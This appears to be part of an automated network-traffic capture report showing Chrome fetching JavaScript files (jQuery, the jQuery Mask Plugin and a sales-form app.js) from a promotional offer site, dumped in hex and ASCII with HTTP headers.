2024-10-03 16:19:51 UTC	610	IN	Data Raw: 31 37 39 36 0d 0a 2f 2f 20 6a 51 75 65 72 79 20 4d 61 73 6b 20 50 6c 75 67 69 6e 20 76 31 2e 31 33 2e 34 0d 0a 2f 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 69 67 6f 72 65 73 63 6f 62 61 72 2f 6a 51 75 65 72 79 2d 4d 61 73 6b 2d 50 6c 75 67 69 6e 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 62 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 62 28 72 65 71 75 69 72 65 28 22 6a 71 75 65 72 79 22 29 29 3a 62 28 6a 51 75 65 72 79 7c 7c 5a 65 70 74 6f 29 7d 29 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 79 3d Data Ascii: 1796// jQuery Mask Plugin v1.13.4// github.com/igorescobar/jQuery-Mask-Plugin(function(b){"function"===typeof define&&define.amd?define(["jquery"],b):"object"===typeof exports?module.exports=b(require("jquery")):b(jQuery\|\|Zepto)})(function(b){var y=
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 3b 65 6c 73 65 20 69 66 28 63 7c 7c 22 30 22 3d 3d 3d 63 29 62 3d 63 3b 72 65 74 75 72 6e 20 62 7d 63 61 74 63 68 28 64 29 7b 7d 7d 2c 73 65 74 43 61 72 65 74 3a 66 75 6e 63 74 69 6f 6e 28 71 29 7b 74 72 79 7b 69 66 28 61 2e 69 73 28 22 3a 66 6f 63 75 73 22 29 29 7b 76 61 72 20 62 2c 63 3d 61 2e 67 65 74 28 30 29 3b 63 2e 73 65 74 53 65 6c 65 63 74 69 6f 6e 52 61 6e 67 65 3f 63 2e 73 65 74 53 65 6c 65 63 74 69 6f 6e 52 61 6e 67 65 28 71 2c 71 29 3a 63 2e 63 72 65 61 74 65 54 65 78 74 52 61 6e 67 65 26 26 28 62 3d 63 2e 63 72 65 61 74 65 54 65 78 74 52 61 6e 67 65 28 29 2c 62 2e 63 6f 6c 6c 61 70 73 65 28 21 30 29 2c 62 2e 6d 6f 76 65 45 6e 64 28 22 63 68 61 72 61 63 74 65 72 22 2c 71 29 2c 62 2e 6d 6f 76 65 53 74 61 72 74 28 22 63 68 61 72 61 63 74 65 72 Data Ascii: ;else if(c\|\|"0"===c)b=c;return b}catch(d){}},setCaret:function(q){try{if(a.is(":focus")){var b,c=a.get(0);c.setSelectionRange?c.setSelectionRange(q,q):c.createTextRange&&(b=c.createTextRange(),b.collapse(!0),b.moveEnd("character",q),b.moveStart("character
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 76 61 72 20 63 3d 61 2e 69 73 28 22 69 6e 70 75 74 22 29 3f 22 76 61 6c 22 3a 22 74 65 78 74 22 3b 69 66 28 30 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7b 69 66 28 61 5b 63 5d 28 29 21 3d 3d 62 29 61 5b 63 5d 28 62 29 3b 63 3d 61 7d 65 6c 73 65 20 63 3d 61 5b 63 5d 28 29 3b 72 65 74 75 72 6e 20 63 7d 2c 67 65 74 4d 43 68 61 72 73 42 65 66 6f 72 65 43 6f 75 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 0d 0a 62 29 7b 66 6f 72 28 76 61 72 20 65 3d 30 2c 66 3d 30 2c 64 3d 63 2e 6c 65 6e 67 74 68 3b 66 3c 64 26 26 66 3c 61 3b 66 2b 2b 29 67 2e 74 72 61 6e 73 6c 61 74 69 6f 6e 5b 63 2e 63 68 61 72 41 74 28 66 29 5d 7c 7c 28 61 3d 62 3f 61 2b 31 3a 61 2c 65 2b 2b 29 3b 72 65 74 75 72 6e 20 65 7d 2c 63 61 72 65 74 50 6f 73 3a 66 75 6e 63 74 69 6f 6e 28 Data Ascii: var c=a.is("input")?"val":"text";if(0<arguments.length){if(a[c]()!==b)a[c](b);c=a}else c=a[c]();return c},getMCharsBeforeCount:function(a,b){for(var e=0,f=0,d=c.length;f<d&&f<a;f++)g.translation[c.charAt(f)]\|\|(a=b?a+1:a,e++);return e},caretPos:function(
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 64 5b 61 5d 26 26 62 26 26 64 5b 61 5d 2e 61 70 70 6c 79 28 74 68 69 73 2c 63 29 7d 3b 6e 28 22 6f 6e 43 68 61 6e 67 65 22 2c 21 30 3d 3d 3d 6c 2c 66 29 3b 6e 28 22 6f 6e 4b 65 79 50 72 65 73 73 22 2c 21 30 3d 3d 3d 6c 2c 66 29 3b 6e 28 22 6f 6e 43 6f 6d 70 6c 65 74 65 22 2c 67 2e 6c 65 6e 67 74 68 3d 3d 3d 63 2e 6c 65 6e 67 74 68 2c 66 29 3b 6e 28 22 6f 6e 49 6e 76 61 6c 69 64 22 2c 30 3c 65 2e 69 6e 76 61 6c 69 64 2e 6c 65 6e 67 74 68 2c 5b 67 2c 62 2c 61 2c 65 2e 69 6e 76 61 6c 69 64 2c 64 5d 29 7d 7d 3b 67 2e 6d 61 73 6b 3d 63 3b 67 2e 6f 70 74 69 6f 6e 73 3d 64 3b 67 2e 72 65 6d 6f 76 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 65 2e 67 65 74 43 61 72 65 74 28 29 3b 65 2e Data Ascii: ){"function"===typeof d[a]&&b&&d[a].apply(this,c)};n("onChange",!0===l,f);n("onKeyPress",!0===l,f);n("onComplete",g.length===c.length,f);n("onInvalid",0<e.invalid.length,[g,b,a,e.invalid,d])}};g.mask=c;g.options=d;g.remove=function(){var b=e.getCaret();e.
2024-10-03 16:19:51 UTC	1329	IN	Data Raw: 26 28 63 3d 63 28 61 29 29 2c 22 6f 62 6a 65 63 74 22 21 3d 3d 74 79 70 65 6f 66 20 67 7c 7c 6b 28 67 2e 6f 70 74 69 6f 6e 73 29 21 3d 3d 6b 28 64 29 7c 7c 67 2e 6d 61 73 6b 21 3d 3d 63 7d 63 61 74 63 68 28 6c 29 7b 7d 7d 3b 62 2e 66 6e 2e 6d 61 73 6b 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 63 29 7b 63 3d 63 7c 7c 7b 7d 3b 76 61 72 20 64 3d 74 68 69 73 2e 73 65 6c 65 63 74 6f 72 2c 67 3d 62 2e 6a 4d 61 73 6b 47 6c 6f 62 61 6c 73 2c 6b 3d 62 2e 6a 4d 61 73 6b 47 6c 6f 62 61 6c 73 2e 77 61 74 63 68 49 6e 74 65 72 76 61 6c 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 7a 28 74 68 69 73 2c 61 2c 63 29 29 72 65 74 75 72 6e 20 62 28 74 68 69 73 29 2e 64 61 74 61 28 22 6d 61 73 6b 22 2c 6e 65 77 20 79 28 74 68 69 73 2c 61 2c 63 29 29 7d 3b 62 28 74 68 69 73 29 Data Ascii: &(c=c(a)),"object"!==typeof g\|\|k(g.options)!==k(d)\|\|g.mask!==c}catch(l){}};b.fn.mask=function(a,c){c=c\|\|{};var d=this.selector,g=b.jMaskGlobals,k=b.jMaskGlobals.watchInterval,l=function(){if(z(this,a,c))return b(this).data("mask",new y(this,a,c))};b(this)
2024-10-03 16:19:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.16	49839	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:51 UTC	759	OUT	GET /outstandingpromotions/automotive/v1/CEmK/assets/js/app.js HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:51 UTC	761	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:51 GMT Content-Type: application/x-javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:52 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60156 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5Rfl7N%2BnqyLw2MnMkf%2FbPydQ6OzaHaE5gS69nGntfyCT%2FmRke3co3vsatVD6ptujmpP9XrZTIUAmzEszBcXi7ZqDin6QX%2Ba6py2WRpxsAQgpuQfb%2FQGbKYotZyb7n08I3mZI%2BHHyXogeKfMc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce41961f9218c4-EWR
2024-10-03 16:19:51 UTC	608	IN	Data Raw: 33 31 31 34 0d 0a 2f 2a 2a 0a 20 2a 20 43 68 61 6e 67 65 20 4c 6f 67 3a 0a 20 2a 20 23 20 43 75 73 74 6f 6d 20 45 72 72 6f 72 2f 53 75 63 63 65 73 73 20 63 61 6c 6c 62 61 63 6b 73 0a 20 2a 20 23 20 74 65 73 74 0a 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 20 28 24 29 20 7b 0a 20 20 20 20 24 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 0a 20 20 20 20 20 20 20 20 24 28 27 66 6f 72 6d 5b 6e 61 6d 65 3d 70 72 6f 73 70 65 63 74 5f 66 6f 72 6d 31 5d 27 29 2e 66 6f 72 6d 48 61 6e 64 6c 65 72 28 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 79 70 65 3a 20 27 70 72 6f 73 70 65 63 74 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 65 72 72 6f 72 4d 6f 64 61 6c 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 75 74 6f 46 69 6c 6c 46 6f 72 6d 45 6c 65 6d 65 6e Data Ascii: 3114/** * Change Log: * # Custom Error/Success callbacks * # test */(function ($) { $(function () { $('form[name=prospect_form1]').formHandler({ type: 'prospect', errorModal: true, autoFillFormElemen
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 63 65 73 73 3a 20 66 75 6e 63 74 69 6f 6e 20 28 72 65 73 70 6f 6e 73 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 27 52 65 73 70 6f 6e 73 65 3a 20 27 2c 20 72 65 73 70 6f 6e 73 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 7d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 6f 6e 45 72 72 6f 72 3a 20 66 75 6e 63 74 69 6f 6e 20 28 72 65 73 70 6f 6e 73 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 27 52 65 73 70 6f 6e 73 65 3a 20 27 2c 20 72 65 73 70 6f 6e 73 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 7d 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 0a 20 20 20 20 20 20 20 20 24 28 27 66 6f 72 6d 5b 6e 61 6d 65 3d Data Ascii: cess: function (response) { // console.log('Response: ', response); // }, // onError: function (response) { // console.log('Response: ', response); // } }); $('form[name=
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 69 6d 65 49 6e 4f 75 74 3a 20 30 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 72 65 73 70 6f 6e 73 65 4c 6f 61 64 65 72 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 20 20 20 20 64 69 76 3a 20 27 23 63 72 6d 2d 72 65 73 70 6f 6e 73 65 2d 63 6f 6e 74 61 69 6e 65 72 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 20 20 20 20 74 69 6d 65 49 6e 4f 75 74 3a 20 30 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 7d 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 0a 20 20 20 20 20 20 20 20 24 28 27 66 6f 72 6d 5b 6e 61 6d 65 3d 64 6f 77 6e 73 65 6c 6c 5f 66 6f 72 6d 32 5d 27 29 2e 66 6f 72 6d 48 61 6e 64 6c 65 72 28 7b 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: timeInOut: 0 }, // responseLoader: { // div: '#crm-response-container', // timeInOut: 0 // } }); $('form[name=downsell_form2]').formHandler({
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 29 3b 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 66 66 28 27 63 6c 69 63 6b 27 2c 20 27 23 61 70 70 5f 63 6f 6d 6d 6f 6e 5f 6d 6f 64 61 6c 5f 63 6c 6f 73 65 27 29 3b 0a 20 20 20 20 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 27 63 6c 69 63 6b 27 2c 20 27 23 61 70 70 5f 63 6f 6d 6d 6f 6e 5f 6d 6f 64 61 6c 5f 63 6c 6f 73 65 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 65 76 65 6e 74 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 20 3f 20 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 Data Ascii: return false; } }); $(document).off('click', '#app_common_modal_close'); $(document).on('click', '#app_common_modal_close', function (event) { event.preventDefault ? event.preventDefault(
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 28 29 20 7b 0a 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 6c 6f 61 64 65 72 49 6d 61 67 65 27 29 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 20 3d 20 27 75 72 6c 28 27 20 2b 20 63 49 6d 61 67 65 53 72 63 20 2b 20 27 29 27 3b 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 6c 6f 61 64 65 72 49 6d 61 67 65 27 29 2e 73 74 79 6c 65 2e 77 69 64 74 68 20 3d 20 63 57 69 64 74 68 20 2b 20 27 70 78 27 3b 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 6c 6f 61 64 65 72 49 6d 61 67 65 27 29 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 20 3d 20 63 48 65 69 67 68 74 20 2b 20 27 70 78 27 3b 0a 0a 20 20 20 20 2f 2f 46 50 53 Data Ascii: () { document.getElementById('loaderImage').style.backgroundImage = 'url(' + cImageSrc + ')'; document.getElementById('loaderImage').style.width = cWidth + 'px'; document.getElementById('loaderImage').style.height = cHeight + 'px'; //FPS
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 75 6e 2c 20 30 29 0a 20 20 20 20 7d 3b 0a 20 20 20 20 67 2f 2f 65 6e 49 6d 61 67 65 2e 6f 6e 65 72 72 6f 72 20 3d 20 6e 65 77 20 46 75 6e 63 74 69 6f 6e 28 27 61 6c 65 72 74 28 5c 27 43 6f 75 6c 64 20 6e 6f 74 20 6c 6f 61 64 20 74 68 65 20 69 6d 61 67 65 5c 27 29 27 29 3b 0a 20 20 20 20 67 65 6e 49 6d 61 67 65 2e 73 72 63 20 3d 20 73 3b 0a 7d 0a 0a 66 75 6e 63 74 69 6f 6e 20 6f 70 65 6e 4e 65 77 57 69 6e 64 6f 77 28 70 61 67 65 5f 75 72 6c 2c 20 74 79 70 65 2c 20 77 69 6e 64 6f 77 5f 6e 61 6d 65 2c 20 77 69 64 74 68 2c 20 68 65 69 67 68 74 2c 20 74 6f 70 2c 20 6c 65 66 74 2c 20 66 65 61 74 75 72 65 73 29 20 7b 0a 20 20 20 20 69 66 20 28 21 74 79 70 65 29 20 7b 0a 20 20 20 20 20 20 20 20 74 79 70 65 20 3d 20 27 70 6f 70 75 70 27 3b 0a 20 20 20 20 7d 0a 0a Data Ascii: un, 0) }; g//enImage.onerror = new Function('alert(\'Could not load the image\')'); genImage.src = s;}function openNewWindow(page_url, type, window_name, width, height, top, left, features) { if (!type) { type = 'popup'; }
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 6e 74 44 65 66 61 75 6c 74 28 29 20 3a 20 28 65 76 65 6e 74 2e 72 65 74 75 72 6e 56 61 6c 75 65 20 3d 20 66 61 6c 73 65 29 3b 0a 20 20 20 20 72 65 74 75 72 6e 20 6f 70 65 6e 4e 65 77 57 69 6e 64 6f 77 28 70 61 67 65 5f 75 72 6c 2c 20 74 79 70 65 2c 20 77 69 6e 64 6f 77 5f 6e 61 6d 65 29 3b 0a 7d 0a 0a 66 75 6e 63 74 69 6f 6e 20 71 75 65 72 79 53 74 72 69 6e 67 28 29 20 7b 0a 20 20 20 20 76 61 72 20 71 75 65 72 79 5f 73 74 72 69 6e 67 20 3d 20 7b 7d 3b 0a 20 20 20 20 76 61 72 20 71 75 65 72 79 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 2e 73 75 62 73 74 72 69 6e 67 28 31 29 3b 0a 20 20 20 20 76 61 72 20 76 61 72 73 20 3d 20 71 75 65 72 79 2e 73 70 6c 69 74 28 22 26 22 29 3b 0a 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 Data Ascii: ntDefault() : (event.returnValue = false); return openNewWindow(page_url, type, window_name);}function queryString() { var query_string = {}; var query = window.location.search.substring(1); var vars = query.split("&"); for (var i
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 29 3b 0a 7d 0a 0a 76 61 72 20 41 70 70 48 65 6c 70 65 72 73 20 3d 20 7b 0a 20 20 20 20 64 65 6c 61 79 3a 20 33 30 30 30 30 2c 0a 20 20 20 20 64 65 6c 61 79 4f 72 64 65 72 50 72 6f 63 65 73 73 69 6e 67 3a 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 0a 20 20 20 20 20 20 20 20 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 2e 61 6a 61 78 28 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 75 72 6c 3a 20 27 61 6a 61 78 2e 70 68 70 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 65 6c 61 79 5f 6f 72 64 65 72 5f 70 72 6f 63 65 Data Ascii: } } });}var AppHelpers = { delay: 30000, delayOrderProcessing: function () { setInterval(function () { $.ajax({ url: 'ajax.php', data: { delay_order_proce
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 0a 7d 0a 0a 66 75 6e 63 74 69 6f 6e 20 78 76 65 72 69 66 79 43 75 73 74 6f 6d 48 74 6d 6c 28 63 6f 72 72 65 63 74 65 64 41 64 64 72 65 73 73 29 20 7b 0a 20 20 20 20 72 65 74 75 72 6e 20 5b 27 3c 75 6c 3e 27 2c 0a 20 20 20 20 20 20 20 20 27 3c 6c 69 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 32 30 70 78 22 3e 3c 2f 6c 69 3e 27 2c 0a 20 20 20 20 20 20 20 20 27 3c 6c 69 3e 57 65 20 73 75 67 67 65 73 74 20 79 6f 75 20 74 6f 20 75 73 65 20 74 68 65 20 6f 6e 65 20 62 65 6c 6f 77 2c 3c 2f 6c 69 3e 27 2c 0a 20 20 20 20 20 20 20 20 27 3c 6c 69 3e 3c 62 3e 20 27 20 2b 20 63 6f 72 72 65 63 74 65 64 41 64 64 72 65 73 73 20 2b 20 27 3c 2f 62 3e 3c 2f 6c 69 3e 27 2c 0a 20 20 20 20 20 20 20 20 27 3c 6c 69 3e 48 6f 77 65 76 65 72 2c 20 79 6f 75 20 6d 61 79 20 70 72 6f Data Ascii: }function xverifyCustomHtml(correctedAddress) { return ['<ul>', '<li style="height:20px"></li>', '<li>We suggest you to use the one below,</li>', '<li><b> ' + correctedAddress + '</b></li>', '<li>However, you may pro
2024-10-03 16:19:51 UTC	1012	IN	Data Raw: 61 6d 65 20 3d 3d 20 27 63 68 65 63 6b 6f 75 74 5f 66 6f 72 6d 27 20 7c 7c 20 66 2e 6e 61 6d 65 20 3d 3d 20 27 64 6f 77 6e 73 65 6c 6c 5f 66 6f 72 6d 31 27 20 7c 7c 20 66 2e 6e 61 6d 65 20 3d 3d 20 27 64 6f 77 6e 73 65 6c 6c 5f 66 6f 72 6d 32 27 20 7c 7c 20 66 2e 6e 61 6d 65 20 3d 3d 20 27 69 73 2d 75 70 73 65 6c 6c 27 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 69 64 46 6f 72 6d 45 78 69 73 74 73 20 3d 20 74 72 75 65 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 29 0a 20 20 20 20 69 66 20 28 76 61 6c 69 64 46 6f 72 6d 45 78 69 73 74 73 29 20 7b 0a 20 20 20 20 20 20 20 20 66 65 74 63 68 28 61 70 70 5f 63 6f 6e 66 69 67 2e 6f 66 66 65 72 5f 70 61 74 68 20 2b 20 41 4a 41 58 5f 50 41 54 48 20 2b 20 27 67 65 74 2d 72 65 66 72 65 73 68 2d 74 Data Ascii: ame == 'checkout_form' \|\| f.name == 'downsell_form1' \|\| f.name == 'downsell_form2' \|\| f.name == 'is-upsell') { validFormExists = true; } }) if (validFormExists) { fetch(app_config.offer_path + AJAX_PATH + 'get-refresh-t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.16	49840	104.21.32.108	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:51 UTC	465	OUT	GET /outstandingpromotions/automotive/v1/CEmK/assets/js/jquery.min.js HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:51 UTC	757	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:51 GMT Content-Type: application/x-javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:52 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60156 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KB3GegfX2%2FLwXVqgNDfg1Wmd9gMGtb3c2iI2mVaUiggf0%2F4C9Bd4nLzobkKv7rbNeaagFnYx0SbXQWnZuZ8YKaJGOj5WEruEIXi83%2FnkI7QRh7CU2muOr%2B6HSIAZEpORdyNEuUZmMrtnS1Sj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce41961f85439c-EWR
2024-10-03 16:19:51 UTC	612	IN	Data Raw: 37 63 61 39 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 32 2e 30 2e 30 20 7c 20 28 63 29 20 32 30 30 35 2c 20 32 30 31 33 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 2c 20 49 6e 63 2e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0d 0a 2f 2f 40 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 6a 71 75 65 72 79 2e 6d 69 6e 2e 6d 61 70 0d 0a 2a 2f 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 65 2c 75 6e 64 65 66 69 6e 65 64 29 7b 76 61 72 20 74 2c 6e 2c 72 3d 74 79 70 65 6f 66 20 75 6e 64 65 66 69 6e 65 64 2c 69 3d 65 2e 6c 6f 63 61 74 69 6f 6e 2c 6f 3d 65 2e 64 6f 63 75 6d 65 6e 74 2c 73 3d 6f 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 61 3d 65 2e 6a 51 75 65 72 79 2c 75 3d 65 2e 24 2c 6c 3d 7b 7d 2c 63 3d 5b 5d 2c 66 3d 22 32 Data Ascii: 7ca9/! jQuery v2.0.0 \| (c) 2005, 2013 jQuery Foundation, Inc. \| jquery.org/license//@ sourceMappingURL=jquery.min.map/(function(e,undefined){var t,n,r=typeof undefined,i=e.location,o=e.document,s=o.documentElement,a=e.jQuery,u=e.$,l={},c=[],f="2
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 53 2c 21 31 29 2c 65 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 53 2c 21 31 29 2c 78 2e 72 65 61 64 79 28 29 7d 3b 78 2e 66 6e 3d 78 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 6a 71 75 65 72 79 3a 66 2c 63 6f 6e 73 74 72 75 63 74 6f 72 3a 78 2c 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 3b 69 66 28 21 65 29 72 65 74 75 72 6e 20 74 68 69 73 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 29 7b 69 66 28 72 3d 22 3c 22 3d 3d 3d 65 2e 63 68 61 72 41 74 28 30 29 26 26 22 3e 22 3d 3d 3d 65 2e 63 68 61 72 41 74 28 65 2e 6c 65 6e 67 74 68 2d 31 29 26 26 65 2e 6c 65 6e 67 74 68 3e 3d 33 3f 5b 6e 75 6c 6c 2c Data Ascii: er("DOMContentLoaded",S,!1),e.removeEventListener("load",S,!1),x.ready()};x.fn=x.prototype={jquery:f,constructor:x,init:function(e,t,n){var r,i;if(!e)return this;if("string"==typeof e){if(r="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 74 68 69 73 2e 6c 65 6e 67 74 68 2c 6e 3d 2b 65 2b 28 30 3e 65 3f 74 3a 30 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 6e 3e 3d 30 26 26 74 3e 6e 3f 5b 74 68 69 73 5b 6e 5d 5d 3a 5b 5d 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 78 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 65 2e 63 61 6c 6c 28 74 2c 6e 2c 74 29 7d 29 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 6e 75 6c 6c 29 7d 2c 70 75 73 68 3a 68 2c 73 6f 72 